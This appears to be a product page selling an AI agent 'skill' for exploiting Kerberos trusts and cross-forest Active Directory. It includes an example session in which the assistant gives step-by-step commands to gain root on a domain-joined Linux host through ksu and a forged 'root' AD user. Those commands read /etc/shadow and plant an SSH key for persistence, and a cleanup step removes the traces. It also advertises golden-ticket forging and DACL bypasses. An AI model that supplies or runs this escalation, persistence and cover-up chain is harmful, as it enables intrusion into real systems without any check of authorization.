Works with the AI tools you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIGitHub CopilotGitHub CopilotGemini CLIGemini CLI+20 more

    kerberos trust abuse

    1

    Exploit Kerberos trusts, MIT krb5 on Linux, and cross-forest SID History while bypassing common tool limitations.

    $11

    Secure checkout via Stripe

    30-day refund guarantee

    Converts to your local currency at checkout

    0 installsSecurity scanned
    kerberos trust abuse

    kerberos trust abuse

    Example session with this skill installed

    I have a world-readable keytab on a domain-joined Ubuntu box and I have CreateChild rights on the Computers OU. How do I get root on this machine using ksu?

    • Read your context and instructions
    • Compiled the kerberos trust abuse

    To escalate to root using the ksu path, you must leverage the way MIT krb5 handles local authorization for interactive sessions versus command execution.

    Linux ksu Escalation Procedure

    1. Verify and Load Keytab:
      Check the principal inside the keytab and initialize your ticket.

      klist -kt /etc/krb5.keytab
kinit -kt /etc/krb5.keytab <principal_name>

    2. Fix LDAP Canonicalization:
      If LDAP enumeration fails with GSSAPI errors, disable hostname canonicalization before creating the user.

      echo 'SASL_NOCANON on' > /tmp/l.conf
export LDAPCONF=/tmp/l.conf

    3. Create Shadow User:
      Create an AD user with the name root inside the OU where you have permissions.

      samba-tool user create root 'P@ssword123!' --userou="OU=Computers,DC=example,DC=com" -H ldap://dc01.example.com

    4. Interactive Escalation:
      Initialize a ticket for your new AD root user and invoke ksu. You must use the interactive path to bypass .k5login requirements.

      kinit root@EXAMPLE.COM
echo 'id; cat /etc/shadow' | ksu root

    Next steps

    • Persistence: Append your SSH public key to /root/.ssh/authorized_keys immediately after gaining access.
    • Cleanup: Delete the root AD object using samba-tool once the local backdoor is established.
    • Check for other keytabs in /etc/ that might belong to service accounts with higher AD privileges.

    Connects securely to your tools. The creator never sees your data.

    What you get

    Root a domain-joined Linux host using AD user creation rights.Forge cross-realm TGTs to move between Windows forests.Patch Impacket to support SeBackupPrivilege over SMB.Fix Kerberos clock skew errors without changing system time.Resolve GSSAPI 'Cannot contact KDC' errors on Linux pivots.

    About this skill

    The problem

    Kerberos exploitation often stalls when transitioning between Linux and Windows, or when moving across forest boundaries. Standard tools frequently fail on clock skew, PAC reconstruction, or missing referral support in Impacket.

    What it does

    • Automates the ksu root escalation path on domain-joined Linux hosts using world-readable keytabs.
    • Manages cross-forest movement using SID History injection and manual inter-realm TGT forging.
    • Provides monkey-patches for Impacket to handle clock skew, SeBackupPrivilege (Backup Intent), and referral chasing.
    • Fixes GSSAPI/LDAP canonicalization errors that prevent enumeration from Linux pivots.
    • Handles the technical implementation of "Golden Tickets" for cross-realm service access.

    Frameworks & tools

    MIT krb5, Impacket, SSSD, Samba-tool, and OpenLDAP.

    Why this beats prompting it yourself

    This skill handles the "silent failures" that standard LLMs miss, such as Impacket's CCache.loadFile classmethod trap and PAC stripping at external trust boundaries. It provides specific environment-variable hooks and Python patches that are necessary when the target KDC is only reachable via SOCKS/SSH.

    Use cases

    • Escalating to root on a Linux server by creating a matching AD user via LDAP.
    • Accessing resources in a partner forest when Impacket returns KDC_ERR_WRONG_REALM.
    • Bypassing DACLs using SeBackupPrivilege over an SMB session.
    • Synchronizing Kerberos timestamps to match drifting Domain Controllers without changing the host clock.

    Known limitations

    Requires authorized access to trust keys or keytabs. Server 2025 PAC hardening requires a real principal RID for forged tickets.

    How to install

    Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.

    ~30 seconds
    1. 1

      Download the ZIP

      Free skills download straight away. Paid skills unlock right after purchase.

    2. 2

      Unzip into your skills folder

      Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.

    3. 3

      Ask your agent to use it

      Restart the agent if it was already running. It picks the skill up automatically - no config needed.

    Skills folder by agent

    Click the path to copy it. Create the folder if it does not exist yet.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    30-day refund

    Not a fit? Get your money back

    Trust & safety

    Security scanned

    Verified clean 7 days ago

    • Passed all security checks, Safe to install

    Listed7 days ago

    What's inside

    Frequently Asked Questions